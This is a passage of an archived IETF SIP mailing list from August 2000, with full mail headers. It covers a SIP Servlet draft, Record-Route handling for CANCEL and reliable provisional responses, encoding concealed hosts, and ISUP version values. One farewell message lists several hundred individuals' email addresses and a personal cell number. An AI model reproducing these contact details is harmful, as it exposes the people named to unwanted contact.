   
   In addition it = proposes a way for an originating SIP Client to
   specify in a = message generated by it that it wants the message to
   be passed to a = particular named SIP Servlet in the receiving SIP
   Client.

http://search.ietf.org/internet-drafts/draft-odoherty-= root-sip-servlet-00.txt

Overview:
  This Internet draft = builds on and refines the SIP Servlet API.
   The SIP Servlet = API defines an API for SIP Clients
   that allows = them, via a SIP Servlet engine, present messages to
   'Servlets' which = can then interact with the message and the Client
   to change the = behaviour of the SIP Client.
   
   This document = expands on this concept to:
   
   - Suggest a = standard way to identity or name SIP Servlets
   
   - Introduce the = concept of a 'Root' SIP Servlet
   
   - Introduce some = rules and mechanisms for SIP Servlet interaction
   
   - Suggest some = Permission parameters for invoked SIP Servlets

If anybody has any comments it = is probably best to use the SIP Servlet API receiver list at :

 http://www-uk.hpl.hp.com/people/ak/sip/servlet/

Cheers,

Mick O'Doherty
Nortel Networks

------_=_NextPart_001_01C006AB.CBE4AEF0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 07:58:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11878 for ; Tue, 15 Aug 2000 07:58:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5C81444376; Tue, 15 Aug 2000 07:58:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 29D0D44338 for ; Tue, 15 Aug 2000 07:58:17 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7FBwFp27016; Tue, 15 Aug 2000 13:58:15 +0200 (MEST) Received: from ericsson.fi (lmf18030pc.lmf.ericsson.se [131.160.30.84]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id OAA16701; Tue, 15 Aug 2000 14:58:14 +0300 (EET DST) Message-ID: <39993002.3AF89B62@ericsson.fi> Date: Tue, 15 Aug 2000 14:56:50 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Sudipto Mukherjee Cc: sip@lists.bell-labs.com Subject: Re: [SIP] CANCEL & Reliability of provisional responses draft References: <3994707F.D7349A03@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Sudipto Mukherjee wrote: > Hi, > > The "reliability of provisional responses" draft mandates that the > To header in PRACK mirror the "tag", if the provisional response > contained one. Also the PRACK must take the path specified by the > Route header, if the provisional response contained Record-route > headers. "Record-Route is only relevant for 2xx responses and responses where the server can expect the client to retry for the same call-id, as in 401(Unauthorized) or 484 (Address Incomplete)" in section 6.33.1 Regards, Hisham _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 09:05:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA13777 for ; Tue, 15 Aug 2000 09:05:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6949B4437C; Tue, 15 Aug 2000 09:05:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 2B1F444338 for ; Tue, 15 Aug 2000 09:05:17 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id OAA23826; Tue, 15 Aug 2000 14:03:23 +0100 (BST) Message-ID: <39993FA3.9F8B07E7@ubiquity.net> Date: Tue, 15 Aug 2000 14:03:31 +0100 From: Neil Deason Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.51 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: Sudipto Mukherjee , sip@lists.bell-labs.com Subject: Re: [SIP] CANCEL & Reliability of provisional responses draft References: <3994707F.D7349A03@cisco.com> <3998EC0E.19D866D5@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > Sudipto Mukherjee wrote: > > > > Hi, > > > > The "reliability of provisional responses" draft mandates that the > > To header in PRACK mirror the "tag", if the provisional response > > contained one. Also the PRACK must take the path specified by the > > Route header, if the provisional response contained Record-route > > headers. > > > > If the UAC needs to send a CANCEL after it has received a > > non-100 reliable provisional response with a to-tag and record-route, > > > > Does the CANCEL still mirror the INVITE being cancelled ? > > Yes. That behavior is unchanged. > > > > Or, > > Based on the provisional response, > > 1. Does the CANCEL mirror the "tag" in To header ? > > The To field in the CANCEL is the same as the INVITE. > > > 2. Does the CANCEL take the path specified by the Route header ? > > No. CANCEL never contains routes. Does allowing provisional reliable responses to contain Record-Route introduce a slight problem with the wording of 6.34.2 of the bis? This says that if a UAC finds a Record-Route header in any response, it copies it into the Route header of all subsequent requests within the same call leg. Doesn't that mean that a Record-Route of provisional response could find it's way into a CANCEL or is this already explicitly forbidden somewhere else? Maybe the wording of 6.34.2 needs to be: If a UAC finds a Record-Route header in a final response, it copies it into ... ^^^^^ Also as a CANCEL never contains routes there is no reason for the Route header to be marked as optional for CANCEL in Table 5. Cheers, Neil. -- Ubiquity Software Corporation, UK http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 10:37:39 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15945 for ; Tue, 15 Aug 2000 10:37:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A2CC34434C; Tue, 15 Aug 2000 10:37:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B23C844338 for ; Tue, 15 Aug 2000 10:37:21 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA11423; Tue, 15 Aug 2000 10:38:59 -0400 (EDT) Message-ID: <39995703.CCA755F1@dynamicsoft.com> Date: Tue, 15 Aug 2000 10:43:15 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Neil Deason Cc: Sudipto Mukherjee , sip@lists.bell-labs.com Subject: Re: [SIP] CANCEL & Reliability of provisional responses draft References: <3994707F.D7349A03@cisco.com> <3998EC0E.19D866D5@dynamicsoft.com> <39993FA3.9F8B07E7@ubiquity.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Neil Deason wrote: > > > The To field in the CANCEL is the same as the INVITE. > > > > > 2. Does the CANCEL take the path specified by the Route header ? > > > > No. CANCEL never contains routes. > > Does allowing provisional reliable responses to contain > Record-Route introduce a slight problem with the wording of > 6.34.2 of the bis? This says that if a UAC finds a Record-Route > header in any response, it copies it into the Route header of all > subsequent requests within the same call leg. Doesn't that mean > that a Record-Route of provisional response could find it's way > into a CANCEL or is this already explicitly forbidden somewhere > else? > > Maybe the wording of 6.34.2 needs to be: > > If a UAC finds a Record-Route header in a final response, it > copies it into ... Good suggestion. > Also as a CANCEL never contains routes there is no reason > for the Route header to be marked as optional for CANCEL > in Table 5. Also a good idea. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 10:40:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16051 for ; Tue, 15 Aug 2000 10:40:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5483144380; Tue, 15 Aug 2000 10:39:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 2799B44338 for ; Tue, 15 Aug 2000 10:39:11 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA11443; Tue, 15 Aug 2000 10:40:49 -0400 (EDT) Message-ID: <39995772.F207F42C@dynamicsoft.com> Date: Tue, 15 Aug 2000 10:45:06 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Hisham Khartabil Cc: Sudipto Mukherjee , sip@lists.bell-labs.com Subject: Re: [SIP] CANCEL & Reliability of provisional responses draft References: <3994707F.D7349A03@cisco.com> <39993002.3AF89B62@ericsson.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hisham Khartabil wrote: > > Sudipto Mukherjee wrote: > > > Hi, > > > > The "reliability of provisional responses" draft mandates that the > > To header in PRACK mirror the "tag", if the provisional response > > contained one. Also the PRACK must take the path specified by the > > Route header, if the provisional response contained Record-route > > headers. > > "Record-Route is only relevant for 2xx responses and responses where the > server can expect the client to retry for the same call-id, as in > 401(Unauthorized) or 484 (Address Incomplete)" in section 6.33.1 This is not the case. They are also relevant for reliable provisional responses, as specified in: http://www.ietf.org/internet-drafts/draft-ietf-sip-100rel-02.txt -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 15:13:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22401 for ; Tue, 15 Aug 2000 15:13:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3EA234433B; Tue, 15 Aug 2000 15:13:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id 3EA0044338 for ; Tue, 15 Aug 2000 15:08:05 -0400 (EDT) Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7FJ1xk22777; Tue, 15 Aug 2000 22:01:59 +0300 (EET DST) Received: from daebh01nok.americas.nokia.com (daebh01nok.americas.nokia.com [172.18.242.182]) by mgw-i1.ntc.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7FIxCV18247; Tue, 15 Aug 2000 21:59:12 +0300 (EET DST) Received: by daebh01nok with Internet Mail Service (5.5.2448.0) id ; Tue, 15 Aug 2000 13:56:26 -0500 Message-ID: From: Steve.Szeto@nokia.com To: Ada_Gawlik@Mitel.COM, alan@cruise-connections.com, alex.bruce@alcatel.com, arjhayward@hotmail.com, Anita.Szeto@AC-edmonton.com, ann@trillium.com, ame@qssinc.com, aromeril@uottawa.ca, Anna.Dalvi@nokia.com, intered@sprint.ca, Anne.Lee@ccra-adrc.gc.ca, anson@marimba.com, asop@itemus.com, Mahadevan.Aravindan@nokia.com, AMani@canadapharma.org, arvind.mani@home.com, ashok_ganesan@Mitel.COM, aislam@newbridge.com, achatter@nortelnetworks.com, pierre_lavallee@Mitel.COM, austinlu@yahoo.com, Glauco.Barcotti@nokia.com, bwood@nortel.ca, Ernesto.Benedito@nokia.com, BernardC@nortelnetworks.com, bethbarber@hotmail.com, bill_bowey@Mitel.COM, billmc@newbridge.com, rpan@microsoft.com, bpladek@lucent.com, brad.rollo@head-south.com, Brian_King@CodePoet.com, briaking@microsoft.com, brigitte_lucas@Mitel.COM, chrustie@nortel.ca, carl_heyendal@Mitel.COM, carmelo_micchia@Mitel.COM, carole@sibercore.com, Carole_McCaskill@Mitel.COM, clee2@chat.carleton.ca, cdeogrades@corelcentre.com, shchan9@collins.rockwell.com, 9000756@et4.aviat.lacitec.on.ca, CVittal@opticworks.com, chris_lai@Mitel.COM, CHRIS_NASON@Mitel.COM, cwarrren17@hotmail.com, christian_friis@Mitel.COM, cvandervliet@telnet.ca, christopher_king@Mitel.COM, claudio_gambetti@Mitel.COM, dcywoo@home.com, Constance_Lee@Mitel.COM, Eric.Cooper@nokia.com, dana@qcontinuum.org, djrussell@lucent.com, dskszeto@yahoo.com, Daniel.Bourque@SiliconAccess.com, dan.bourque@sympatico.ca, daniel_valliere@Mitel.COM, dannymah@ieee.org, dprairie@cisco.com, dhollow@nortelnetworks.com, dkimak@home.com, Dbackman@med.uottawa.ca, dave_horvath@Mitel.COM, davidmcquinn@hotmail.com, david_pipkins@Mitel.COM, David.Woo.davidwoo@nt.com, DAVE_SMITH@Mitel.COM, ddinsdal@newbridge.com, debbie_pinard@Mitel.COM, deborah_hartle@Mitel.COM, Joe.DeKoning@nokia.com, dennis.szeto@islcanada.com, Dennis.Szeto@mol.gov.on.ca, devender_ravikanti@Mitel.COM, dpawluk@bme.jhu.edu, dinh_luong@Mitel.COM, dion.jennings@alcatel.com, dipachak@home.com, tihasan@home.com, chakrad@colteng.com, tonywoo@delanotech.com, twoo@netcom.ca, IMCEAFAX-Donna+20Mah+20+26+20Tony+20Woo+40+2B1+20+28905+29+20947-2140@nokia.com, dchui@nortelnetworks.com, Marina.Doukhanina@nokia.com, eddie_deogrades@Mitel.COM, Steve.Edgar@nokia.com, edwin@apple.com, eswszeto@kcrc.com, emah@rocketmail.com, Eldon_Uchida@Mitel.COM, francis@macadamian.com, fredmah@connect.ab.ca, ciads@connect.ab.ca, Igor.Gamayunov@nokia.com, ganesh@accumap.com, gary@garywong.com, president@goldkey.org, Gina_Maddalena@Mitel.COM, ggordon@sfi-software.com, Glenn_Ala@Mitel.COM, GORDON_LEE@Mitel.COM, gkam@newbridge.com, greg_lech@Mitel.COM, hgartner@ca.ibm.com, Cliff.Harris@nokia.com, harry_evans@Mitel.COM, heather.amundrud@alcatel.com, helen_law@Mitel.COM, hongshengliu@yahoo.com, huy_vu@Mitel.COM, hwa-jung.han@wcom.com, ian_duncan@Mitel.COM, iwona.bierylo@themutualgroup.com, 668prouf@sympatico.ca, jacob@radvision.com, Jaffar_Shaikh@Mitel.COM, James.Freeman@ceskymobil.cz, jyih@telusplanet.net, janet.mckenzie@windriver.com, jason_lumsden@Mitel.COM, moon@cadvision.com, Jean_Bedford@Mitel.COM, jppham@nortelnetworks.com, jeff_byrne@Mitel.COM, jessica.evans@cac.gc.ca, Jessica.Evans@cac.gc.ca, Jovelt.Jeune@nokia.com, jyih@junctionnet.com, john_albert@Mitel.COM, jdechman@hotmail.com, john_lord@Mitel.COM, John.McDonald@nrc.ca, john_paterson@Mitel.COM, jrathwell@affinity.ca, joe@catapult.com, Joyce_Pon@hc-sc.gc.ca, chakrav@yahoo.com, jso@magma.ca, websterj@magma.ca, Julia_Harvey@Mitel.COM, juliak@nortel.ca, meco@sk.sympatico.ca, schow@cochrane-group.ca, justin.wotherspoon@aodbt.com, jyotik@newbridge.com, KMurdeshwar@onisystems.com, kalavati_m@yahoo.com, kaladhar@us.ibm.com, kalyans@newbridge.com, kathleen_oreilly@Mitel.COM, Kathy_Forgie@Mitel.COM, nancy_poon@Mitel.COM, ken_grigg@Mitel.COM, kblange@nortel.ca, ketanbhalla@netscape.net, kevin@ss8networks.com, kgangel@cncglobal.com, kevin_wheaton@Mitel.COM, khanh_nguyen@Mitel.COM, khanh-nguyen@home.com, kang@direct.ca, kim_currie@Mitel.COM, kim_letkeman@Mitel.COM, k105phillips@hotmail.com, kim_ung@Mitel.COM, ksadorsky@hotmail.com, info@ggfn.ca, Azaduer.Kurkjian@nokia.com, Laurie_Lefaivre@Mitel.COM, lawrence_king@Mitel.COM, Tyatt.Leung@nokia.com, L.Jiang@sycamorenet.com, lisa_huang_ca@yahoo.com, lhuang@HealthLink.on.ca, tdcl-kce@istar.ca, l_robinson@trillium.com, tayabali@loran.com, maciej_syrowatka@Mitel.COM, maggie_wong@Mitel.COM, mbhan@trillium.com, marc_beauregard@videotron.ca, mbedard@exocom.com, Mark_Cloutier@Mitel.COM, Mark_Macadam@Mitel.COM, mhoerler@cisco.com, msendyk@ubiquity.net, martineclement@hotmail.com, mary_skate@hotmail.com, mary_skate@hotmail.com, masood@solinetsystems.com, Peter.Mckinnon@nokia.com, mfmccallum@yahoo.com, melanie_robillard@yahoo.com, michael_gumpert@Mitel.COM, stanton@trytel.com, michael@intertask.net, myeung@spacebridge.com, michel_crichton@Mitel.COM, stanton@trytel.com, mharley@sympatico.ca, mike_jarrett@Mitel.COM, mike-bw_tan@hp.com, Drasko.Milasin@nokia.com, MDickey@exocom.com, testchip@nortel.ca, sbasu@sprint.ca, mitchell_smith@Mitel.COM, Vlatko.Mrsic@nokia.com, muthu@nortelnetworks.com, nadeen_ahmed@Mitel.COM, nam_la@Mitel.COM, nancychow@bigfoot.com, nchow@infonet.ca, nancydevin@hotmail.com, nandita67@yahoo.com, nblais@cda-adc.ca, neils@nortelnetworks.com, nloyola@home.com, ximenars@home.com, Loyola@sedonanetworks.com, nroberts@cyberus.ca, san_nina@hotmail.com, nithinr@nortelnetworks.com, norman_clarke@Mitel.COM, olumley@nortelnetworks.com, pamd@clientside-viennasys.com, fly_to@hotmail.com, papyluknamwira@hotmail.com, parag.jain@nortelnetworks.com, pat_orchard@Mitel.COM, paul_downing@Mitel.COM, paul@catapult.com, paul_lennon@Mitel.COM, paul_obrien@Mitel.COM, frellick@nortel.ca, Peter.Nor@nrc.ca, peter.yeung@innovation.siemens.ca, phil_green@Mitel.COM, prutledge@iname.com, prutledge@omnipoint.com, pchow@cedara.com, pierre@catapult.com, quang_vu@Mitel.COM, rkp@nortel.ca, Jamilur.Rahman@nokia.com, rajan.syal@aspect.com, rajan_syal@kismet.demon.co.uk, rajiv_gupta@Mitel.COM, rebeccagardner@hotmail.com, randrews@radvision.com, Rejean.Chevalier@laainc.com, gsmiley@sympatico.ca, richchan@nortelnetworks.com, richard_stjean@Mitel.COM, ricky_dickenson@Mitel.COM, ritag@ussinc.com, rob_gray@Mitel.COM, robn@berrymoune.nl, robert_dattilio@Mitel.COM, Robert_Kasdorff@Mitel.COM, roger_bastin@Mitel.COM, ron@ss8networks.com, ron_ho@iname.com, rwpon@nortel.ca, Ron_Russell@DataBeam.com, peaceforever@tinyonline.co.uk, abedins@radiusplc.co.uk, Sally_Brown@Mitel.COM, sally_reid@hotmail.com, szwang99@yahoo.com, skpearsn@nortelnetworks.com, sandra@epiphanyink.com, sgupta@sibercore.com, SDunn@edc-see.ca, Sarah.Rebeiro@nokia.com, Carm.Scaffidi@nokia.com, scott.eden@sympatico.ca, scott_elliott@Mitel.COM, sforsyth@cyberus.ca, seang@newbridge.com, stager@lucent.com, shannon.wang@alcatel.com, shawn_griffin@Mitel.COM, Ahmed.Shemail@nokia.com, lishirl@statcan.ca, simon_tai@Mitel.COM, sip@lists.vovida.com, sip@lists.bell-labs.com, sip@lists.bell-labs.com, sonya_fullarton@Mitel.COM, soo_tung@Mitel.COM, sissy_stacey@hotmail.com, stan_gores@Mitel.COM, stanley_douglass@Mitel.COM, std-bluetooth2@research.nokia.com, sseabrook@sympatico.ca, seabrook@lsec.lete.dnd.ca, stevecoe@nortelnetworks.com, keoghs@ottawasenators.com, steve@sibercore.com, steve_lyon@Mitel.COM, stevmars@cisco.com, steve_slater@Mitel.COM, Steve.Szeto@nokia.com, steven_szeto@yahoo.com, swatt@telnet.ca, sudarsan@nortelnetworks.com, hr@akara.com, suileung@nortelnetworks.com, vorugant@cs.ualberta.ca, susan_maclennan@Mitel.COM, svenbrouwer@sympatico.ca, tanino_testa@Mitel.COM, Tanya_Elias@Mitel.COM, terry_tam@Mitel.COM, thule@nortelnetworks.com, time@COREL.CA, trose@bridgewatersys.com, hasansinoman@netscape.net, Frank.Tom@nokia.com, hayttom@sympatico.ca, tom.obrien@amikanow.com, tom_quan@Mitel.COM, tparedes@telnet.ca, leopard@storm.ca, tdphung@nortelnetworks.com, Trevor_Pound@Mitel.COM, uyen_nguyen@Mitel.COM, vanessac@itatravel.com, vgale@mus-nature.ca, Danny.Venier@nokia.com, vnb@mindspring.com, dr.reddy@readyforhealth.com, v_chan@trillium.com, vikram.varma@eudoramail.com, vitality99@hotmail.com, vpeh@zucotto.com, vlatkom@idirect.com, wchan@crosskeys.com, WGaw@SiliconAccess.com, Andy.Wyatt@nokia.com, yayoi@nortelnetworks.com, Judy.Yi@nokia.com, yonglee@nortelnetworks.com Date: Tue, 15 Aug 2000 13:53:29 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] my last day at Nokia Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Friends and colleagues, Today is my last official day at Nokia. I will be joining a startup company called SS8 Networks here in Ottawa. I start my new job on Tuesday, Aug 22. Please keep in touch. My personal email address is steven_szeto@yahoo.com. Best Regards, Steve 613-261-7706 (cell) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 15:49:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22998 for ; Tue, 15 Aug 2000 15:49:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1E10E44376; Tue, 15 Aug 2000 15:49:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mayo.cisco.com (mayo.cisco.com [161.44.3.207]) by lists.bell-labs.com (Postfix) with ESMTP id 7DB9144345 for ; Tue, 15 Aug 2000 15:49:19 -0400 (EDT) Received: from cisco.com (mayo.cisco.com [161.44.3.207]) by mayo.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id PAA11656; Tue, 15 Aug 2000 15:48:25 -0400 (EDT) Message-ID: <39999E88.673324CC@cisco.com> Date: Tue, 15 Aug 2000 15:48:24 -0400 From: Nilesh Trivedi Organization: Packet Development Unit X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Nilesh Trivedi , sip@lists.bell-labs.com References: <39986BA3.BEAA8985@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: Encoding scheme for SIP concealed hosts. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Well, just wanted to add that using base64 may not entirely fit in the token syntax due to the characters '/' and '=' generated by base64 and are not a part of token. Any comments are highly appreciated. Have a good day!! Regards, Nilesh. > Hello all, > > Good afternoon. > > I was wondering if there's anybody aware of encoding algorithm out > there which can be used to encode encrypted host (concealed) so that > it > fits the 'token' syntax (any open source code??). > > Also, while handling such hidden hosts should the proxy parser > behaviour > be lineant to accomodate any characters if it doesn't comply to that > required set? > > Thanks for your suggestions. Have a good day!! > > Regards, > > Nilesh. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 17:59:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28423 for ; Tue, 15 Aug 2000 17:59:18 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AA32944382; Tue, 15 Aug 2000 17:58:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailwall.ttimail.com (216-86-19-5.caprock.net [216.86.19.5]) by lists.bell-labs.com (Postfix) with ESMTP id 6CE2044345 for ; Tue, 15 Aug 2000 17:58:49 -0400 (EDT) Received: from printserver.tti.net [127.0.0.1] by mailwall.ttimail.com (SMTPD32-6.04) id AD1815600FC; Tue, 15 Aug 2000 16:58:48 -0500 Received: by MAILHOST.tti.net with Internet Mail Service (5.5.2650.21) id ; Tue, 15 Aug 2000 16:58:45 -0500 Message-ID: <51A66FB90C0C4D45BEBDB2A4BC1E8BEC17628A@MAILHOST.tti.net> From: Kevin Summers To: sip@lists.bell-labs.com Subject: [SIP] Question on 'version' parameter in draft-ietf-sip-isup-mime -03.txt Date: Tue, 15 Aug 2000 16:58:44 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com In draft-ietf-sip-isup-mime-03.txt, there is a subset of ISUP base protocol parameters listed. However, there is no similar table describing the ISUP version parameters. Considering that the version parameter is mandatory, it may be a good idea to include a list/table of valid values. (I believe that uk21 is the only ISUP version listed.) I don't think that this is something that we would want implementors to go off and decide on their own. Any comments? Kevin Summers telecom technologies kevin.summers@ttimail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 18:24:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28958 for ; Tue, 15 Aug 2000 18:24:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 47CBD4439A; Tue, 15 Aug 2000 18:23:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from topaz.3com.com (topaz.3com.com [192.156.136.158]) by lists.bell-labs.com (Postfix) with ESMTP id 7B9A744345 for ; Tue, 15 Aug 2000 18:23:16 -0400 (EDT) Received: from opal.3com.com (opal.3com.com [139.87.50.117]) by topaz.3com.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id e7FMNAH23224 for ; Tue, 15 Aug 2000 15:23:11 -0700 (PDT) Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104]) by opal.3com.com (Switch-2.0.1/Switch-2.0.1) with SMTP id e7FMNF913442 for ; Tue, 15 Aug 2000 15:23:15 -0700 (PDT) Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 8825693C.007AE816 ; Tue, 15 Aug 2000 15:22:28 -0700 X-Lotus-FromDomain: 3COM From: Deepak_Pant@3com.com To: sip@lists.bell-labs.com Message-ID: <8825693C.007AE28E.00@hqoutbound.ops.3com.com> Date: Tue, 15 Aug 2000 17:23:57 -0500 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Subject: [SIP] Question on unknown methods Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com For the support of unknown methods, do these methods have to 